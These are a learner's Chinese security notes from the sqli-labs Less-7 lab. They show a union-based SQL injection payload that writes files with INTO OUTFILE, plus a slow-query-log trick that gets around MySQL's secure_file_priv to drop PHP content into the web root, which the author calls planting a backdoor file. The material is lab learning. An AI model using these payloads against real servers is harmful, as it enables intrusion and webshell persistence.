(2020上半年第8天)小迪网络安全笔记(问题①)如何突破MYSQL的secure_file_priv防护
Posted .白菜白菜大白菜.
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了(2020上半年第8天)小迪网络安全笔记(问题①)如何突破MYSQL的secure_file_priv防护相关的知识,希望对你有一定的参考价值。
文件读写注入需要考虑mysql版本问题,高版本存在secure_file_priv过滤,高版本突破,低版本直接写入
数据库如果是高版本,数据库会有防御,解决方法两种,硬钢或者绕过,
硬钢参考:https://www.cnblogs.com/c1e4r/articles/8902444.html
我是用硬刚的方法,下面是我硬钢的过程:
出现这样的问题:
在处理sqlilabs第七关,
写入url:http:\\\\127.0.0.1\\sqlilabs\\Less-7\\?id=1’)) union select null,’aaaa’,null into outfile ‘D:\\\\phpstudy_pro\\\\WWW\\\\sqlilabs\\\\Less-7\\\\1.txt’--+
出现
我先分析了网站,没有任何问题(url进入php后台没有任何问题,直接进入数据库执行好像出现了问题)
后来我们进入mysql命令行看一下哪里出现了问题( 把url转成sql看看出现什么问题了)
注意:
新版本phpstudypro好像没有mysql命令行,找新版本命令行过程看我的这个链接:[问题②](https://blog.csdn.net/u013630181/article/details/118066915) 老版本phpstudy找mysql命令行过程:网上多的是问度娘。 好的我们进入命令行 输入命令:
C:\\Users\\使用者>D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\bin\\mysql.exe mysql -u root -p`
password就是我们要写mysql的密码
展示有哪些数据库:show databases;
输入数据库Use security
现在我们把url转成数据库语言看看出现什么问题
Url:http:\\127.0.0.1\\sqlilabs\\Less-7?id=1’)) union select null,’aaaa’,null into outfile ‘D:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt’–+
相当于sql:select * from users where id=((‘1’)) union select null,’aaaa’,null into outfile ‘D:/phpstudy_pro/WWW/sqlilabs/Less-7/1.txt’–+’)) limit 0,1;(注意符号)
出现这样的未知问题我们先ctrl+c退出来。
在输入:select * from users where id=((‘1’)) union select null,’aaaa’,null into outfile ‘D:/phpstudy_pro/WWW/sqlilabs/Less-7/1.txt’
出现
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
出现这个的原因是高版本数据库有防御
---------------------------------------------分割线-----------------------------------------------------------
原因我们找到了那现在就解决吧
网上的解决方法有两种一种是关闭防护(这个第一种最好就不用,实战中受害方不会关闭数据库防护)还有一种是突破,下面我实验的就是突破的这种方法(这种突破方法执行一次用一次后期演示我会把数据库防护关闭):
参考文章:www.cnblogs.com/c1e4r/articles/8902444.html
(操作的时候就是把那三句sql执行)(相当于写了一个有后门的文件放到受害者服务器中)
下面开始:
由于这里还没讲sql语句直接注入,so文献中的三句话直接在数据库语句一下吧,
Sql语句:
set global slow_query_log=1 ;
set global slow_query_log_file='D:\\\\phpstudy_pro\\\\WWW\\\\sqlilabs\\\\Less-7\\\\1.txt' ;
SELECT '<?php asdsd?>' or sleep(11);
效果:在D:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7下创建一个名为1.txt的文本,(注意必须写\\,不然创建不了)文本内容为?php asdsd?
好的现在url可以用了:http:\\\\127.0.0.1\\sqlilabs\\Less-7\\?id=1’)) union select null,’aaaa’,null into outfile ‘D:\\\\phpstudy_pro\\\\WWW\\\\sqlilabs\\\\Less-7\\\\1.txt’--+
效果(网站没反应,但是目录下已经出现了该文件)
以上是关于(2020上半年第8天)小迪网络安全笔记(问题①)如何突破MYSQL的secure_file_priv防护的主要内容,如果未能解决你的问题,请参考以下文章
(2020上半年第9天(SQL注入-提交注入注入(SQL注入4/10)))小迪网络安全笔记
(2020上半年第8天)小迪网络安全笔记(问题①)如何突破MYSQL的secure_file_priv防护